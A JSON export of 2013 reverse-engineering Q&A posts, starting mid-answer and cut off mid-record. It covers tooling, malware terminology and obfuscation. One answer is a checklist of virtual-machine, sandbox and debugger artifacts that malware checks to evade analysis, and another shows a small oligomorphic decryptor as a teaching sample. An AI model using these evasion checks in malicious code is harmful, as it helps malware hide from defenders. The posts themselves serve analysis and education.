devices</strong></p>\n\n<ul>\n<li>\"\\\\.\\VBoxMiniRdrDN\"</li>\n<li>\"\\\\.\\VBoxGuest\"</li>\n<li>\"\\\\.\\pipe\\VBoxMiniRdDN\"</li>\n<li>\"\\\\.\\VBoxTrayIPC\"</li>\n<li>\"\\\\.\\pipe\\VBoxTrayIPC\")</li>\n<li>\"\\\\.\\HGFS\"</li>\n<li>\"\\\\.\\vmci\"</li>\n</ul></li>\n<li><p><strong>Hardware Device information</strong></p>\n\n<ul>\n<li>SetupAPI SetupDiEnumDeviceInfo (GUID_DEVCLASS_DISKDRIVE) \n\n<ul>\n<li>QEMU</li>\n<li>VMWare</li>\n<li>VBOX</li>\n<li>VIRTUAL HD</li>\n</ul></li>\n</ul></li>\n<li><p><strong>Adapter name</strong></p>\n\n<ul>\n<li>VMWare</li>\n</ul></li>\n<li><p><strong>Windows Class</strong></p>\n\n<ul>\n<li>VBoxTrayToolWndClass</li>\n<li>VBoxTrayToolWnd</li>\n</ul></li>\n<li><p><strong>Network shares</strong></p>\n\n<ul>\n<li>VirtualBox Shared Folders</li>\n</ul></li>\n<li><p><strong>Processes</strong></p>\n\n<ul>\n<li>vboxservice.exe   (VBOX)</li>\n<li>vboxtray.exe      (VBOX)</li>\n<li>vmtoolsd.exe      (VMWARE)</li>\n<li>vmwaretray.exe    (VMWARE)</li>\n<li>vmwareuser        (VMWARE)</li>\n<li>vmsrvc.exe        (VirtualPC)</li>\n<li>vmusrvc.exe       (VirtualPC)</li>\n<li>prl_cc.exe        (Parallels)</li>\n<li>prl_tools.exe     (Parallels)</li>\n<li>xenservice.exe    (Citrix Xen)</li>\n</ul></li>\n<li><p><strong>WMI</strong></p>\n\n<ul>\n<li>SELECT * FROM Win32_Bios (SerialNumber) (VMWARE)</li>\n<li>SELECT * FROM Win32_PnPEntity (DeviceId) (VBOX)</li>\n<li>SELECT * FROM Win32_NetworkAdapterConfiguration (MACAddress) (VBOX)</li>\n<li>SELECT * FROM Win32_NTEventlogFile (VBOX)</li>\n<li>SELECT * FROM Win32_Processor (NumberOfCores) (GENERIC)</li>\n<li>SELECT * FROM Win32_LogicalDisk (Size) (GENERIC)</li>\n</ul></li>\n<li><p><strong>DLL Exports and Loaded DLLs</strong></p>\n\n<ul>\n<li>kernel32.dll!wine_get_unix_file_nameWine (Wine)</li>\n<li>sbiedll.dll (Sandboxie)</li>\n<li>dbghelp.dll (MS debugging support routines)</li>\n<li>api_log.dll (iDefense Labs)</li>\n<li>dir_watch.dll (iDefense Labs)</li>\n<li>pstorec.dll (SunBelt Sandbox)</li>\n<li>vmcheck.dll (Virtual PC)</li>\n<li>wpespy.dll (WPE Pro)</li>\n</ul></li>\n<li><p><strong>CPU*</strong></p>\n\n<ul>\n<li>Hypervisor presence using (EAX=0x1)</li>\n<li>Hypervisor vendor using (EAX=0x40000000)\n\n<ul>\n<li>\"KVMKVMKVM\\0\\0\\0\" (KVM)</li>\n<li>\"Microsoft Hv\"    (Microsoft Hyper-V or Windows Virtual PC)</li>\n<li>\"VMwareVMware\"    (VMware)</li>\n<li>\"XenVMMXenVMM\"    (Xen)</li>\n<li>\"prl hyperv  \"    ( Parallels)\n-\"VBoxVBoxVBox\"    ( VirtualBox)</li>\n</ul></li>\n</ul></li>\n</ul>\n\n<h3>Anti-Analysis</h3>\n\n<ul>\n<li><strong>Processes</strong>\n\n<ul>\n<li>OllyDBG / ImmunityDebugger / WinDbg / IDA Pro</li>\n<li>SysInternals Suite Tools (Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns)</li>\n<li>Wireshark / Dumpcap</li>\n<li>ProcessHacker / SysAnalyzer / HookExplorer / SysInspector</li>\n<li>ImportREC / PETools / LordPE</li>\n<li>JoeBox Sandbox</li>\n</ul></li>\n</ul>\n"
    },
    {
        "Id": "1696",
        "CreationDate": "2013-04-10T08:34:49.783",
        "Body": "<p>Malware use several methods to evade anti-virus software, one is to change their code when they are replicating. I saw mainly three type of techniques in the wild which are: <em>metamorphic malware</em>, <em>oligomorphic malware</em> and <em>polymorphic malware</em> (I might have missed one). What are the main differences between theses techniques and what do they do ?</p>\n",
        "Title": "What are the differences between metamorphic, oligomorphic and polymorphic malware?",
        "Tags": "|obfuscation|malware|",
        "Answer": "<p>In order of increasing complexity: oligomorphic, polymorphic, metamorphic.</p>\n<p>The first two terms are generally applied to decryptors.  We (anti-virus industry) define them this way: oligomorphic - decryptor with few variable elements, which does not affect the size or shape of the code.  It means that the variable elements are usually fixed-size instructions, but it can also apply to the register initialization.</p>\n<h1>Oligomorphic example</h1>\n<pre><code>std ;fake, might be replaced by cld / nop / xchg ax, cx / ...\nmov cx, size\nmov ax, ax ;fake, might be replaced by mov bx, bx / or cx, cx / ...\nmov si, decrypt_src\ncld ;fake\nmov di, decrypt_dst\nor ax, ax ;fake\nmov bl, key\nand bp, bp ;fake\ndecrypt:\nxor [di], bl\nxchg dx, ax ;fake\ninc di\ncld ;fake\nloop decrypt\n</code></pre>\n<p>In this case, the <code>di</code> register could be exchanged with <code>si</code>, for example.  Very simple replacement.</p>\n<h1>Polymorphic</h1>\n<p>decryptor with potentially highly variable elements, which does affect the size and/or shape of the code.  It means that all kinds of changes can be applied, including subroutine creation, large blocks of garbage instructions, code &quot;islands&quot;, or even algorithmic register initialisation (example <a href=\"http://pferrie.host22.com/papers/bounds.pdf\" rel=\"nofollow noreferrer\">here</a>).</p>\n<h1>Metamorphic</h1>\n<p>highly variable elements are applied directly to the body.  There is generally no decryptor in this case.  The same techniques for polymorphism are applied to the code itself.  The most famous example of this is the Simile virus from 2002 (details <a href=\"http://pferrie.host22.com/papers/simile.pdf\" rel=\"nofollow noreferrer\">here</a>).  There's a detailed paper on the subject with actual examples <a href=\"http://pferrie.host22.com/papers/metamorp.pdf\" rel=\"nofollow noreferrer\">here</a>)</p>\n"
    },
    {
        "Id": "1701",
        "CreationDate": "2013-04-10T14:02:31.443",
        "Body": "<p>Does anybody have a suggestion for (non commercial) software to decompile \"byte-code\" Python (.pyc) files?</p>\n\n<p>Everything I've found seems to break...</p>\n",
        "Title": "Decompiling .pyc files",
        "Tags": "|tools|decompilation|python|",
        "Answer": "<p>I recommend <code>uncompyle6</code>. it can decompile pyc/pyo files and it is compatible with python 3</p>\n<ol>\n<li><p><code>pip install uncompyle6</code></p>\n</li>\n<li><p><code>uncompyle6 FILE.pyc</code></p>\n</li>\n</ol>\n"
    },
    {
        "Id": "1703",
        "CreationDate": "2013-04-10T17:38:55.013",
        "Body": "<p>I've hex-edited a string in an Android ELF binary.<br>\nNow, it won't run, and gives the error message <em>CANNOT LINK EXECUTABLE</em>, presumably due to a bad checksum.</p>\n\n<p>Does anybody have a tool to fix the checksum? </p>\n",
        "Title": "Fixing the checksum of a modified Android ELF",
        "Tags": "|tools|android|elf|",
        "Answer": "<p>ELF itself doesn't specify any kind of checksum. Your link error is likely due to an incorrect edit which changed some offsets within the file. If you don't adjust the offsets, you have to replace a string with a string that is no longer than the original, and you cannot add new fields unless you have a known amount of slack space available.</p>\n\n<p>Use <code>readelf -a</code> to check the ELF file headers, and compare old with new.</p>\n"
    },
    {
        "Id": "1714",
        "CreationDate": "2013-04-11T09:37:10.487",
        "Body": "<p>This is not strictly 'reverse engineering', it's mostly related to dynamic instrumentation.</p>\n\n<p>So, in the same fashion as <code>strace</code> which allows you to see syscalls made by a process, or <code>ftrace</code> to see function calls, is there anything similar for Java?</p>\n\n<p>What I am interested in is having a <code>.jar</code> file that is run in a javaVM. </p>\n\n<p>Is there any way to instrument or trace all the Java API calls the application code makes ?</p>\n\n<p>That is, without any static analysis of the contents of the <code>.jar</code> or without any editing of the contents of <code>.jar</code> (e.g. to add hooks). Ideally, a solution equivalent to <code>strace</code> or e.g. a manipulated javaVM</p>\n\n<p>The same applies on Android - Is there a way to trace all Android framework API calls (or other essentially DalvikVM functions) an application makes without any editing at all of the APK file? All other editing of the environment/system is fine.</p>\n\n<p>In my ideal world, the analyst would get the following output, while running an UNEDITED application (<code>.jar</code> or <code>.apk</code>):</p>\n\n<pre><code>timestamp1: java.security.SecureRandom.getSeed() called. Arguments: (Number) \ntimestamp2: javax.security.cert.X509Certificate.checkValidity() called. Arguments: (null)\n...\ntimestamp3: java.sql.Connection.prepareStatement() called. Arguments: (\"SELECT * FROM X WHERE Y = W\")\n</code></pre>\n",
        "Title": "Dynamic java instrumentation?",
        "Tags": "|dynamic-analysis|java|android|",
        "Answer": "<p><a href=\"http://www.eclipse.org/aspectj/\" rel=\"nofollow\">AspectJ</a> can be used to do this on the JVM, via load-time weaving. It's built on Asm but there's more abstraction (no bytecode). Tracing method calls is fairly straight-forward: first define a filter to match \"pointcuts\" you're interested in, then specify the actions you want to perform (\"advice\").</p>\n\n<p>The syntax is a bit awkward though:</p>\n\n<pre><code>package aspects;\n\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\n\nimport org.aspectj.lang.Signature;\n\naspect Trace{\n    pointcut traceMethods() : (execution(* *(..))&amp;&amp; !cflow(within(Trace)));\n\n    before(): traceMethods(){\n        Signature sig = thisJoinPointStaticPart.getSignature();\n        String line =\"\"+ thisJoinPointStaticPart.getSourceLocation().getLine();\n        String sourceName = thisJoinPointStaticPart.getSourceLocation().getWithinType().getCanonicalName();\n        Logger.getLogger(\"Tracing\").log(\n                Level.INFO, \n                \"Call from \"\n                    +  sourceName\n                    +\" line \" +\n                    line\n                    +\" to \" +sig.getDeclaringTypeName() + \".\" + sig.getName()\n        );\n    }\n\n}\n</code></pre>\n\n<p>Compile with: <code>ajc -outxml -outjar aspects.jar Trace.java</code>.</p>\n\n<p>To run FooClass with the weaver, run:</p>\n\n<pre><code>java -javaagent:aspectjweaver.jar -cp aspects.jar:${target_jar_name} FooClass\n</code></pre>\n"
    },
    {
        "Id": "1722",
        "CreationDate": "2013-04-11T15:48:28.053",
        "Body": "<p>How can you determine if a variable is a local variable of the function or an argument passed to the function?</p>\n",
        "Title": "Determining if a variable is local or an argument passed to a function",
        "Tags": "|disassembly|c|c++|",
        "Answer": "<p>While this answer is certainly not true in all situations, the answer for which your teacher is probably looking:</p>\n\n<ul>\n<li>Local variables are in the form <code>[EBP - ...]</code></li>\n<li>Passed arguments are in the form <code>[EBP + ...]</code></li>\n</ul>\n"
    },
    {
        "Id": "1724",
        "CreationDate": "2013-04-11T18:05:07.347",
        "Body": "<p>I've found some universities that are porting <a href=\"http://www.dynamorio.org/\" rel=\"noreferrer\">DynamoRIO</a> (or something very similar) to Linux kernel space, but the code doesn't seem to be available. Is there a resource I am unaware of?</p>\n\n<p><a href=\"http://www.cs.toronto.edu/~peter/feiner_asplos_2012.pdf\" rel=\"noreferrer\">Here's</a> an example. </p>\n",
        "Title": "How can I use DynamoRIO or something similar in Linux kernel space?",
        "Tags": "|tools|dynamic-analysis|dynamorio|",
        "Answer": "<p>Recently, two new kernel instrumentation systems have been released, of which I am the creator of one:</p>\n\n<ol>\n<li><a href=\"https://github.com/Granary/granary\">Granary</a>, which is primarily focused on module instrumentation. This is the instrumentation created by me. Granary internally uses parts of DynamoRIO, but works rather differently. The goal of Granary is to make it easy to develop debugging and analysis tools. There will be a paper in HotDep'13 about one of the major memory debugging tools built on top of Granary.</li>\n<li><a href=\"https://github.com/piyus/btkernel\">btkernel</a>, a recently released full kernel instrumentation system. You can find a paper about btkernel in SOSP'13.</li>\n</ol>\n"
    },
    {
        "Id": "1727",
        "CreationDate": "2013-04-11T18:39:57.193",
        "Body": "<p>I would like more information about the mathematical foundations of vulnerability and exploit development.online sources or books in the right direction will be helpful.</p>\n",
        "Title": "mathematical background behind exploit development and vulnerabilities",
        "Tags": "|vulnerability-analysis|",
        "Answer": "<p>As it turns out, somebody asked roughly the same question on reddit about a year ago and I <a href=\"http://www.reddit.com/r/ReverseEngineering/comments/smf4u/reverser_wanting_to_develop_mathematically/c4fa6yl\" rel=\"nofollow noreferrer\">posted a rather extensive answer to it</a>, and I have continued to edit it in the meantime.</p>\n"
    },
    {
        "Id": "1734",
        "CreationDate": "2013-04-12T03:37:45.860",
        "Body": "<p>In IDA 5.0 Freeware how do you convert a block of data into a unicode string, the only thing I can find is to convert it into an ascii string.</p>\n\n<pre><code>db 'a'\ndb 0\ndb 'b'\ndb 0\ndb 'c'\ndb 0\ndb 'd'\ndb 0\ndb 0\ndb 0\n</code></pre>\n\n<p>into</p>\n\n<pre><code>unicode &lt;abcd&gt;, 0\n</code></pre>\n",
        "Title": "IDA Convert to Unicode",
        "Tags": "|ida|encodings|",
        "Answer": "<p>Select the first byte, Edit -> Strings -> Unicode.</p>\n"
    },
    {
        "Id": "1738",
        "CreationDate": "2013-04-12T09:40:39.973",
        "Body": "<p>When I attach OllyDbg or ImmunityDebugger to a process, it automatically breaks execution. I'm attaching to a user-mode service running as SYSTEM and only need to catch exceptions, so this is not ideal. Is there a way to disable the break-on-attach behaviour?</p>\n",
        "Title": "How can I prevent Immunity Debugger / OllyDbg from breaking on attach?",
        "Tags": "|tools|debuggers|ollydbg|immunity-debugger|",
        "Answer": "<h1>Explanation</h1>\n<p>The break on attach is due to the <code>ntdll</code> <code>DbgUiRemoteBreakin</code> and <code>DbgBreakPoint</code> functions being called. If you check the <code>kernel32</code> <code>DebugActiveProcess</code> function called by the debugger, OllyDbg or ImmunityDebugger, you will see a call to the <code>CreateRemoteThread</code>, <code>CreateRemoteThreadEx</code>, or <code>ZwCreateThreadEx</code> function depending on your OS.</p>\n<p>So, i guess one way to bypass breaking is:</p>\n<ol>\n<li>debug the debugger itself</li>\n<li>go to the <code>DbgUiIssueRemoteBreakin</code> function and spot the call to the function creating the remote thread.</li>\n<li>change the <code>lpStartAddress</code> parameter in case of <code>CreateRemoteThread</code>/<code>CreateRemoteThreadEx</code> to <code>DbgBreakPoint</code>+1 <code>RETN 0xC3</code></li>\n</ol>\n<h1>Plugin</h1>\n<p>I created an OllyDbg v1.10 <a href=\"http://code.google.com/p/ollytlscatch/downloads/detail?name=SilentAttach.dll\" rel=\"noreferrer\">plugin</a> which <code>NOP</code>s the <code>INT3</code> in <code>DbgBreakPoint</code> in the process with the PID you choose. It has only been tested on Windows 7.</p>\n<h2>Usage</h2>\n<p>Place SilentAttach.dll in OllyDbg directory, fire OllyDbg, Press <kbd>Alt</kbd>+<kbd>F12</kbd>, and then enter process Id of the process you want to silently attach to.</p>\n<p>N.B.\nSince no break occurs, OllyDbg does not extract many piece of info. e.g. list of loaded module. So, you have to activate the context by something like <kbd>Alt</kbd>+<kbd>E</kbd> then <kbd>Alt</kbd>+<kbd>C</kbd></p>\n"
    },
    {
        "Id": "1754",
        "CreationDate": "2013-04-13T16:32:58.253",
        "Body": "<p>This post is for collecting all the best books and tutorials that exist dealing with <a href=\"/questions/tagged/windows\" class=\"post-tag\" title=\"show questions tagged &#39;windows&#39;\" rel=\"tag\">windows</a> specific reverse engineering techniques and concepts. The content will be added to the <a href=\"https://reverseengineering.stackexchange.com/tags/windows/info\">Windows wiki</a>. Any suggestions of books and tutorials should be added into the CW answer. Please do not add any other answers. </p>\n\n<hr>\n\n<p>If you have anything to say about this, post your opinion here :</p>\n\n<ul>\n<li><p><a href=\"https://reverseengineering.meta.stackexchange.com/questions/53/how-should-book-tutorial-questions-be-dealt-with\">How should book/tutorial questions be dealt with?</a></p></li>\n<li><p><a href=\"https://reverseengineering.meta.stackexchange.com/questions/96/lets-develop-a-tag-wiki-format\">Lets develop a Tag Wiki format</a></p></li>\n<li><p>If you have something else to say not covered in the above discussions, start a <a href=\"https://reverseengineering.meta.stackexchange.com/questions/ask\">new meta discussion</a>.</p></li>\n</ul>\n",
        "Title": "Windows Wiki : Books and Tutorials",
        "Tags": "|windows|",
        "Answer": "<h1>Books:</h1>\n<ul>\n<li><strong><a href=\"https://rads.stackoverflow.com/amzn/click/com/0764574817\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Reversing: Secrets of Reverse Engineering</a></strong>, Eldad Eilam</li>\n<li><a href=\"http://nostarch.com/idapro2.htm\" rel=\"nofollow noreferrer\"><strong>IDA Pro Book, 2nd Edition</strong></a>, Chris Eagle (<a href=\"http://www.idabook.com/\" rel=\"nofollow noreferrer\">book's website</a>)</li>\n<li><a href=\"http://nostarch.com/ghpython.htm\" rel=\"nofollow noreferrer\"><strong>Gray Hat Python</strong></a>, Justin Seitz</li>\n<li><a href=\"http://technet.microsoft.com/en-us/sysinternals/bb963901.aspx\" rel=\"nofollow noreferrer\"><strong>Windows Internals, 6th edition</strong></a></li>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/com/0735663777\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\"><strong>Windows via C/C++ 5th Ed</strong></a></li>\n</ul>\n<h1>Articles:</h1>\n<h1>Tutorials:</h1>\n<ul>\n<li><a href=\"http://tuts4you.com/download.php?list.17\" rel=\"nofollow noreferrer\">Lena's Reversing 101</a> \u2014 the classic introduction for newbie reverser.</li>\n<li><a href=\"http://octopuslabs.io/legend/blog/sample-page.html\" rel=\"nofollow noreferrer\">The Legend of Random</a> \u2014 list of tutorials and texts to read on RE topics.</li>\n</ul>\n<h1>Links:</h1>\n<ul>\n<li><a href=\"http://opensecuritytraining.info/Training.html\" rel=\"nofollow noreferrer\">OpenSecurityTraining</a> \u2014 place of great and free online courses to learn, from beginners to hi-level pros.</li>\n</ul>\n<h1>Forums:</h1>\n<ul>\n<li><s><a href=\"http://www.kernelmode.info/forum/\" rel=\"nofollow noreferrer\">KernelMode</a> \u2014 here you'll find not only a wide range of topics regarding different parts of RE, but also a great community.</s> (archived)</li>\n</ul>\n"
    },
    {
        "Id": "1757",
        "CreationDate": "2013-04-13T21:14:00.353",
        "Body": "<p>The question pretty much says it.  Beyond knowing people that are interested in the same things, is there a collaborative reversing dumping ground for documenting specifically disassembly of closed source firmware?</p>\n",
        "Title": "Is there a collaborative reversing forum for people that deal with firmware?",
        "Tags": "|decompilation|disassembly|firmware|",
        "Answer": "<p>I am not aware of a currently active generic \"firmware reversing\" forum.</p>\n\n<p>A few years ago there was a pretty ambitious attempt with <a href=\"http://wayback.archive.org/web/20100514210317/http://lostscrews.com/\">lostscrews.com</a> but unfortunately it languished due to lack of attention, got overwhelmed with spam and eventually the domain has expired. I think the guys behind the <a href=\"http://www.devttys0.com/blog/\">/dev/ttyS0 blog</a> also tried opening a forum a couple months ago but it wasn't very active and apparently has been closed down.</p>\n\n<p>I guess the problem is that the area is somewhat nebulous and trying to cover everything won't really work. However, there are numerous forums that specialize in a specific type of firmware, manufacturer, or even just one product, and some of them are pretty big on their own. Here's a few examples that come to mind:</p>\n\n<ul>\n<li><a href=\"http://forum.xda-developers.com/\">XDA Developers</a>: everything about hacking Android and Windows Mobile-based phones and other devices.</li>\n<li>PC BIOS hacking: <a href=\"http://www.wimsbios.com/forum/\">Wim's BIOS</a> and <a href=\"http://forums.mydigitallife.info/forums/25-BIOS-Mods\">My Digital Life</a>.</li>\n<li>Samsung TVs: <a href=\"http://forum.samygo.tv/\">SamyGO TV</a>.</li>\n<li>Digital cameras: <a href=\"http://chdk.setepontos.com/\">CHDK</a>, <a href=\"http://www.magiclantern.fm/forum/index.php\">Magic Lantern</a>, <a href=\"http://nikonhacker.com/\">Nikon Hacker</a>.</li>\n<li>Ebook readers: <a href=\"http://www.mobileread.com/forums/\">MobileRead</a></li>\n<li>Audio players: <a href=\"http://forums.rockbox.org/\">Rockbox</a></li>\n<li>Wireless routers: <a href=\"http://en.wikipedia.org/wiki/List_of_wireless_router_firmware_projects\">too many to list here</a>.</li>\n<li>iPhone/iPod/iPad: <a href=\"http://www.idroidproject.org/forum/\">iDroid Project</a> (and many others)</li>\n<li>and so on.</li>\n</ul>\n"
    },
    {
        "Id": "1761",
        "CreationDate": "2013-04-14T09:41:56.633",
        "Body": "<p>I have an infected MS-Windows 7 machine with an <em>in-memory</em> malware, shutting it down will probably make it disappear and I would like to get the malware in a more convenient format to perform some analysis on it.</p>\n\n<p>What are the different in-memory malware and what kind of methods do you recommend for each type of in-memory malware ?</p>\n",
        "Title": "How to capture an \"in-memory\" malware in MS-Windows?",
        "Tags": "|malware|digital-forensics|",
        "Answer": "<p>As others have mentioned the first thing you should do is dump the memory with MoonSols. This will allow you to do  memory analysis using Volatility later. When it comes to malware analysis I find IDA the most useful. In order for it be useful you will need a process dump and a way to rebuild the import table. If the malware can spread to other processes I would create a dummy process, dump it then rebuild the import table. If for example the malware injects into iexplore.exe, open up Ollydbg change the debugging options events to System Breakpoint, open up iexplore.exe, then search for memory of RWX (described <a href=\"http://hooked-on-mnemonics.blogspot.com/2013/03/working-with-injected-processes.html\">here</a>). Check the contents of the memory, if it contains your memory malware dump the process and then rebuild the import table. If you need to manually rebuild the import table you can use the following <a href=\"http://hooked-on-mnemonics.blogspot.com/2012/09/importing-ollydbg-addresses-into-ida.html\">script</a>. If the process does not spread you could attach to the process via a debugger. </p>\n\n<p>Disclaimer: I am the author of those links. </p>\n"
    },
    {
        "Id": "1763",
        "CreationDate": "2013-04-14T12:43:55.180",
        "Body": "<p>When reversing a router firmware based on DD-WRT I came across a mention of \"webcomp\". It seems it's used for storing internal HTML files for the web interface. What exactly it is and how can I extract those files from the firmware image?</p>\n\n<p>NOTE: This is a self-asked and answered question to add to the knowledge based.</p>\n",
        "Title": "What is \"webcomp\" and how does it work?",
        "Tags": "|linux|firmware|webcomp|",
        "Answer": "<p>The webdecomp tool didn't work for me on the latest builds of DD-WRT, managed to extract the firmware though.</p>\n\n<pre><code>root@ubuntu:~/Desktop/firmware-mod-kit/src/webcomp-tools$ ./webdecomp --httpd=\"/home/root/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin/httpd\" -www=\"/home/root/Desktop/firmware-mod-kit/fmk/rootfs/etc/www\" --dir=\"/home/root/Desktop/www\" --extract\nFailed to locate websRomPageIndex!\nFailed to detect httpd settings!\nFailed to process Web files!\n\nroot@ubuntu:~/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin$ file httpd \nhttpd: ELF 32-bit LSB executable, MIPS, MIPS32 version 1, dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size\n</code></pre>\n\n<p>Looks like they have obfuscated the section headers.</p>\n\n<pre><code>root@ubuntu:~/Desktop/firmware-mod-kit/src/webcomp-tools$ readelf -a /home/root/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin/httpd\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 01 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       1\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x401a30\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          0 (bytes into file)\n  Flags:                             0x54001005, noreorder, cpic, o32, mips16, mips32\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         7\n  Size of section headers:           0 (bytes)\n  Number of section headers:         0\n  Section header string table index: 0\n\nThere are no sections in this file.\n\nThere are no sections to group in this file.\n</code></pre>\n"
    },
    {
        "Id": "1766",
        "CreationDate": "2013-04-14T17:16:43.087",
        "Body": "<p>What is data interleaving? Is this something I can use to obfuscate collections of variables?</p>\n",
        "Title": "What is Data Interleaving?",
        "Tags": "|obfuscation|",
        "Answer": "<p>Data Interleaving is a term I made up to reflect an idea I've been contemplating lately; interleaving the bits of a set of variables into a single binary blob. Any number and types of variables could be interleaved together. Access to variables in the interleaved blob can even be on-demand, with a controller class encoding or decoding variables on the fly.</p>\n\n<h2>What in the World?</h2>\n\n<p>Data Interleaving is the process of translating any number of variables to a single binary blob by interleaving the bits of the variables. This obfuscates the variables in memory or external storage. The entire blob need not be decoded to access member variables, though it can be for improved performance.</p>\n\n<h2>Why?</h2>\n\n<p>This will help complicate reverse engineering of code. It will particularly deter identifying data types and variables. Plaintext is also well obfuscated with this interleave.</p>\n\n<h2>Interleave Map</h2>\n\n<p>The variables to be encoded could be defined by an array of byte sizes of those variables and, optionally, pointers to a location in memory to retrieve or store their reconstituted form. In the case of on-demand access to an interleaved blob, individual variables can be decoded and re-encoded on the fly, so buffers for reconstituted storage are optional (though they may be temporarily reconstituted by the controller class as members are modified).</p>\n\n<p>The members of the bitwise interleave can be referenced in the source code via their indices. For instance, index 0 may be MY_VARIABLE_INSTANCE. By passing the variable index to an interleave blob controller class, it knows the size and, optionally, a pointer for constituted storage.</p>\n\n<p>Member data types can be anything. They need not be similar. When one variable ends, it is simply ended. See a few paragraphs below for what happens when a single variable is longer than the others.</p>\n\n<pre><code>/* member information */\n/* optional pointer to its normal, constituted storage location */\n/*  (for use in encoding and decoding the member) */\n/* and the size of the member */\nclass CInterleaveMember\n{\n  void *pvConstitutedStore;\n  unsigned long nMemberByteSize;\n};\n\n/* INTERLEAVE MAP */\nCInterleaveMember aInterleaveMap[]\n  { szSomeString, sizeof(szSomeString) },\n  { &amp;nIntegerMan, sizeof(nIntegerMan) },\n  { &amp;cMyClass , sizeof(cMyClass) };\n\nvoid *pBLOB;  /* interleaved data stored in a dynamically allocated blob */\n</code></pre>\n\n<p>The total size of the blob need not be stored, as it is the sum of all member sizes in the interleave map. The interleave map provides everything we need to know.</p>\n\n<h2>The Process</h2>\n\n<p>In case it is not clear, the process for the interleave would go something like this: The array of members is 'walked', putting or getting the current bit index from each member variable, advancing to the next bit index after the entire array has been walked. When a member variable is full of bits (exhausted), it is skipped in subsequent interleave iterations (more on long vars later).</p>\n\n<p>For simplicity, let me define a few variables in bits only (not matching above):</p>\n\n<pre><code>szSomeString 0 1 1 1 0 0 1 0 \nnIntegerMan  1 1 1 0 0 0 1 1 1 0 0 1 0 0 0 1\ncMyClass     0 0 0 1\n</code></pre>\n\n<p>For the interleave, a bit is taken from each variable in succession.</p>\n\n<pre><code>First iteration of the interleave, get first bit from each ...\n 0 1 0\nNext iteration(s), get the next bit from each ...\n 0 1 0 1 1 0\n 0 1 0 1 1 0 1 1 0\n ...\n</code></pre>\n\n<h2>When a Member is Longer than the Others</h2>\n\n<p>In the case where one variable is much longer than the others, thus having no pair to encode with, one could use a simple XOR, and/or toss in redundant, unused data from the prior members. Any number of strategies are possible to prevent plaintext storage in the case of an abnormally long variable not having an interleave partner for its ending bits.</p>\n\n<h2>Sample Code</h2>\n\n<p>For example, the following pseudo-code represents this algorithm:</p>\n\n<pre><code>/* PROTECTED VARIABLES */\n/* These get stored in an bitwise interleave in the binary blob */\nchar szSomeString = \"Is there anybody out there?\";\nunsigned long nIntegerMan = 0x9090; \nMyClass cMyClass(\"whoopie\");\n\nclass CInterleaveMember\n{\n  void *pvConstitutedStore;\n  unsigned long nMemberByteSize;\n};\n\n/* INTERLEAVE MAP */\nCInterleaveMember aInterleaveMap[]\n  { szSomeString, sizeof(szSomeString) },\n  { &amp;nIntegerMan, sizeof(nIntegerMan) },\n  { &amp;cMyClass , sizeof(cMyClass) };\n\n/* NOTE: Total size of the resultant bitwise interleave is the sum of the members of a Interleave Map */\n\n/* INTERLEAVE REFS */\ntypedef enum \n{\n  _szSomeString=0,\n  _nIntegerMan,\n  _cMyClass,\n} InterleavedVariables;\n\nvoid *pBinaryBlob;  /* dynamically allocated blob storage */\n\n/* Fictional class constructor, passing the interleave map to it */\n/* From the interleave map, it can calculate the total blob size, */\n/* then dynamically allocate storage for the blob. */\nCBitInterleaver cBitInterleave(aInterleaveMap);\n\n/* If the blob is externally loaded, or needs externally stored, we */\n/* may need to get access to the blob buffer. Fictional example: */\n/* We know the blob size from map! The input size is for safety. */\ncBitInterleave.SetBlob(pIncomingBlob, nSrcBufferSize);  \n\n/* Or we can get the blob */\nnBlobSize=cBitInterleave.GetBlob(ppOutgoingBlob);\n\n/* Example to encode or decode the entire blob to constituted */\n/* storage. We already provided the map, and it decodes or encodes */\n/* to the listed pointers.\ncBitInterleave.EncodeBlob();\ncBitInterleave.DecodeBlob();\n\n/* Example call to decode a member of the array */\n/* We pass it the INDEX into the MAP, and dest buffer */\n/* From the Index of _nIntegerman, we ALREADY know the size */\n/* The out size is for safety. */\ncBitInterleave.GetVariable(_nIntegerMan, &amp;nIntegerMan, sizeof(nIntegerMan));\n\n/* OR we can use the default storage address in the interleave map */      \ncBitInterleave.GetVariable(_nIntegerMan);\n\n/* Example call to encode a member of the array */\n/* We pass it the INDEX into the MAP, and input reference */\ncBitInterleave.SetVariable(_szSomeString, &amp;szSomeString, sizeof(szSomeString));\n\n/* And so on... I'm literally coding this in this answer, like a fool */\n</code></pre>\n"
    },
    {
        "Id": "1779",
        "CreationDate": "2013-04-15T11:36:23.980",
        "Body": "<p>I know the basic principle of a packer. Basically, it is a small routine launched at the beginning of the program that decompress the actual program and jump to it once achieved.</p>\n\n<p>Yet, it seems that there are quite a lot of variations around this principles. I recently learned about \"<em>virtualized packers</em>\" or \"<em>on-the-fly packers</em>\", and I might miss a lot. So, can somebody define what a basic packer is and then explain what are the different types that can be encountered ?</p>\n",
        "Title": "What are the different types of packers?",
        "Tags": "|obfuscation|malware|packers|",
